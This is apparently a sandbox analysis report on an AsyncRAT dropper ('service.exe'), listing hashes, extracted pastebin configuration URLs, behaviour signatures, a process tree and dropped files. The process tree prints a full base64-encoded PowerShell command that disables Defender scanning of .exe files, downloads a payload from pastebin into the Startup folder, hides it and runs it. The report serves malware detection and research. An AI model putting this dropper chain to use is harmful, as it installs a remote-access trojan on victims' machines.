Analysis

  • max time kernel
    82s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/03/2023, 06:47

General

  • Target

    service.exe

  • Size

    237KB

  • MD5

    2941d6fca94a537479d4d2a12c8a0ed2

  • SHA1

    6c8d05a2aefec10e7257fcbb2da8dfa822aacc1c

  • SHA256

    087427c0b74d495483859b7e587ef1063529253a2490c892d09f04465ef4f2c0

  • SHA512

    e04fc8b6ea6a36cd67a841dda96ddefbab77a0fb994f0eb771ff357df40355ca7fad3afa75254dcd8eae0753cc0a478180e6343ba1ca55c7edf82dbbb3851826

  • SSDEEP

    3072:r4tWK9YMDbz6fV/NpbnyAGJwhOnQdT1MgvAOdj8MXoiTYfSHw69pJZXAqacHy1lg:m9j76xnImFZ1MmF8QTU/urSiLfTP8yl

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://pastebin.com/raw/vNcCt60A

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

Mutex

Mutex

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

  • pastebin_config

    https://pastebin.com/raw/3Z9zi18j

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\service.exe
    "C:\Users\Admin\AppData\Local\Temp\service.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4284
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\config.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted -nologo -command .\service.ps1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand IAAgACAAIwAtACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjAC0AIwAKACAAIwAtACMAIAAgACAAcwBjAHIAaQBwAHQAIABiAHkAIABhAHYAaQByAG8AbAAgAF4AXwBeACAAIAAgACMALQAjAAoAIAAgACAAIwAtACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjAC0AIwAKAAoAJABWAGEAbAB1AGUAPQBHAGUAdAAtAEMAbwBtAHAAdQB0AGUAcgBJAG4AZgBvAHwAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AZQB4AHAAYQBuAGQAIABPAHMATgBhAG0AZQAKAGkAZgAgACgAIAAkAFYAYQBsAHUAZQAgAC0AbQBhAHQAYwBoACAAJwAxADAAJwApAAoAewAKACAAZQBjAGgAbwAgACcATgBvAHQAaABpAG4AZwAgAHQAbwAgAGQAbwAhACcACgB9AAoAZQBsAHMAZQBpAGYAIAAoACQAVgBhAGwAdQBlACAALQBtAGEAdABjAGgAIAAnADEAMQAnACkACgB7AAoAIABlAGMAaABvACAAJwBOAG8AdABoAGkAbgBnACAAdABvACAAZABvACEAJwAKAH0ACgBlAGwAcwBlAAoAewAKACAAZQB4AGkAdAAKAH0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcAZQB4AGUAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACQAUABhAHQAaAA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAcABhAHMAdABlACcAKwAnAGIAaQBuACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwAnACsAJwByAGEAdwAnACsAJwAvACcAKwAnAHYATgBjAEMAdAA2ADAAQQAnACkACgAkAFIAYQB3AD0ASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAGEAdABoACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAKACQAUgBhAHcALgBDAG8AbgB0AGUAbgB0AAoAaQBmACAAKAAnAGUAcgByAG8AcgAnACAALQBlAHEAIAAkAFIAYQB3AC4AYwBvAG4AdABlAG4AdAApAAoAewAKACAAZQB4AGkAdAAKAH0ACgAkAE4AdQBtAGIAZQByADEAPQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAJwA5ACcACgAkAE4AdQBtAGIAZQByADIAPQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAJwA5ACcACgAkAFAAYQB0AGgAPQBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABGAG8AbABkAGUAcgBQAGEAdABoACgAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAKwBTAHAAZQBjAGkAYQBsAEYAbwBsAGQAZQByAF0AOgA6AFMAdABhAHIAdAB1AHAAKQAKAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuAAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAtAFAAYQB0AGgAIAAkAFAAYQB0AGgACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABSAGEAdwAuAGMAbwBuAHQAZQBuAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAuAFwAJwBcAHQAbQBwACcAJABOAHUAbQBiAGUAcgAxACcARABEACcAJABOAHUAbQBiAGUAcgAyACcALgBlAHgAZQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAKAEMAOgBcAD8AaQA/AGQAPwB3AD8AXAA/AHkAPwB0AD8AbQA/ADIAXAA/AHQAPwByAD8AYgAuAD8AeAA/ACAAKwBzACAAKwBoACAALgBcACcAXAB0AG0AcAAnACQATgB1AG0AYgBlAHIAMQAnAEQARAAnACQATgB1AG0AYgBlAHIAMgAnAC4AZQB4AGUAJwAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AQwBvAG0AbQBhAG4AZAAgAC4AXAAnAFwAdABtAHAAJwAkAE4AdQBtAGIAZQByADEAJwBEAEQAJwAkAE4AdQBtAGIAZQByADIAJwAuAGUAeABlACcA
          4⤵
          • Blocklisted process makes network request
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4688
          • C:\Windows\SysWOW64\attrib.exe
            "C:\Windows\System32\attrib.exe" +s +h .\\tmp4DD7.exe
            5⤵
            • Sets file to hidden
            • Drops startup file
            • Views/modifies file attributes
            PID:5064
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4056

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          b0e1352991da830009dc09bb0828d1a6

          SHA1

          4cf91840883ad57b83558488394721f6e0e19fb7

          SHA256

          be926637ddd5590ee6b7f53451d7644b7db600fc2218edc1427fbbf441297805

          SHA512

          cfdf8a23faead0ccada8f8d7785894c4e79f87a591ea20ca549bfcfc8a85651841a7bb581995f15de964f1e73d4af6d1777c0416272f5caab3f53482eb09f8e6

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          11KB

          MD5

          5126d77e4bd5acebbcd3fe5e0eed2994

          SHA1

          6162f6246273c8c186f482ffea1949b23e00e8b5

          SHA256

          b61fdf2e704710dca27b66df9088995f2c15060283421aa85ec36f0ca4b99cbd

          SHA512

          f9d437527d2827ff6f59985240bfd5dcb4bf7c4a82b766131485a1ac06b7650885dcb2eea153527cf730ba5d79ef80a30425c3f5c00de4840dd6a2f33155a378

        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\config.vbs

          Filesize

          147B

          MD5

          e04e55d2e6cc3d920631fdc5d6dcc1ce

          SHA1

          2c4dbcff71f8678623a7c197440ec281804dc5a5

          SHA256

          f641a99ec7e549970c81d724766f2a60ff031a5ec92aa6fc84228c82eeb4b4eb

          SHA512

          9511fe4dc599187f4539b8cda476550c54e86cbfcaca339a5db12e980ec322bf488d7458bf76089aa1d845f164f7ddb8adea017923d9a4930b9e821b7a4ae998

        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\service.ps1

          Filesize

          2KB

          MD5

          e16e049cd254a45e3a5538de04345df1

          SHA1

          120c2ac523b19ba50d7c7e11cf8630ee0b37f104

          SHA256

          7fc7521be2484846088e013b233f34605c526e3a69bc5d026dba76aecbe78973

          SHA512

          0a71e1e43991b055d564fad52f2cef81ec2ec592a6bf0d46311e51b80550b67ae4a495a5a76a19284bc3564559f6e7c03b9af4f887f12433d6c779f779d2a612

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fhssokkb.d4t.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe

          Filesize

          48KB

          MD5

          6b95c5b02a8c31726cab09fc575423d5

          SHA1

          840aedd363c32d13cf8ec14729f68b9e6c31d374

          SHA256

          ec22734717b5451dd8527cf3d564fe450d2a12523e5ec880b9d8c60345f762b9

          SHA512

          f6eeb9d5b44617103d96662311db7e483d5c1b7be849d8e99a9d9284dce830d7fcedaf4247d3e45e1823d27ed8ea6df328596744b6ee2de98ccfee0f36f5fb40

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tmp4DD7.exe

          Filesize

          48KB

          MD5

          6b95c5b02a8c31726cab09fc575423d5

          SHA1

          840aedd363c32d13cf8ec14729f68b9e6c31d374

          SHA256

          ec22734717b5451dd8527cf3d564fe450d2a12523e5ec880b9d8c60345f762b9

          SHA512

          f6eeb9d5b44617103d96662311db7e483d5c1b7be849d8e99a9d9284dce830d7fcedaf4247d3e45e1823d27ed8ea6df328596744b6ee2de98ccfee0f36f5fb40

        • memory/2328-190-0x00000000052D0000-0x00000000052E0000-memory.dmp

          Filesize

          64KB

        • memory/2328-152-0x00000000052D0000-0x00000000052E0000-memory.dmp

          Filesize

          64KB

        • memory/2328-157-0x0000000006690000-0x00000000066AE000-memory.dmp

          Filesize

          120KB

        • memory/2328-148-0x00000000052D0000-0x00000000052E0000-memory.dmp

          Filesize

          64KB

        • memory/2328-141-0x0000000002D70000-0x0000000002DA6000-memory.dmp

          Filesize

          216KB

        • memory/2328-144-0x0000000005FB0000-0x0000000006016000-memory.dmp

          Filesize

          408KB

        • memory/2328-191-0x00000000052D0000-0x00000000052E0000-memory.dmp

          Filesize

          64KB

        • memory/2328-143-0x0000000005740000-0x0000000005762000-memory.dmp

          Filesize

          136KB

        • memory/2328-142-0x0000000005910000-0x0000000005F38000-memory.dmp

          Filesize

          6.2MB

        • memory/2328-145-0x0000000006020000-0x0000000006086000-memory.dmp

          Filesize

          408KB

        • memory/4056-208-0x0000000005800000-0x000000000589C000-memory.dmp

          Filesize

          624KB

        • memory/4056-201-0x0000000000360000-0x0000000000372000-memory.dmp

          Filesize

          72KB

        • memory/4056-207-0x0000000004D50000-0x0000000004D60000-memory.dmp

          Filesize

          64KB

        • memory/4056-209-0x0000000004D50000-0x0000000004D60000-memory.dmp

          Filesize

          64KB

        • memory/4688-177-0x000000006F490000-0x000000006F4DC000-memory.dmp

          Filesize

          304KB

        • memory/4688-178-0x000000007F900000-0x000000007F910000-memory.dmp

          Filesize

          64KB

        • memory/4688-189-0x0000000008B70000-0x0000000008B7A000-memory.dmp

          Filesize

          40KB

        • memory/4688-188-0x0000000008A30000-0x0000000008A4E000-memory.dmp

          Filesize

          120KB

        • memory/4688-176-0x0000000007CB0000-0x0000000007CE2000-memory.dmp

          Filesize

          200KB

        • memory/4688-192-0x0000000003490000-0x00000000034A0000-memory.dmp

          Filesize

          64KB

        • memory/4688-193-0x0000000008D70000-0x0000000008D7E000-memory.dmp

          Filesize

          56KB

        • memory/4688-194-0x0000000008DC0000-0x0000000008DDA000-memory.dmp

          Filesize

          104KB

        • memory/4688-195-0x0000000008DB0000-0x0000000008DB8000-memory.dmp

          Filesize

          32KB

        • memory/4688-196-0x0000000003490000-0x00000000034A0000-memory.dmp

          Filesize

          64KB

        • memory/4688-197-0x0000000003490000-0x00000000034A0000-memory.dmp

          Filesize

          64KB

        • memory/4688-175-0x0000000008E20000-0x000000000949A000-memory.dmp

          Filesize

          6.5MB

        • memory/4688-174-0x00000000081F0000-0x0000000008794000-memory.dmp

          Filesize

          5.6MB

        • memory/4688-173-0x0000000007B60000-0x0000000007B82000-memory.dmp

          Filesize

          136KB

        • memory/4688-171-0x0000000003490000-0x00000000034A0000-memory.dmp

          Filesize

          64KB

        • memory/4688-172-0x0000000006E90000-0x0000000006EAA000-memory.dmp

          Filesize

          104KB

        • memory/4688-170-0x0000000006F00000-0x0000000006F96000-memory.dmp

          Filesize

          600KB

        • memory/4688-169-0x0000000003490000-0x00000000034A0000-memory.dmp

          Filesize

          64KB

        • memory/4688-168-0x0000000003490000-0x00000000034A0000-memory.dmp

          Filesize

          64KB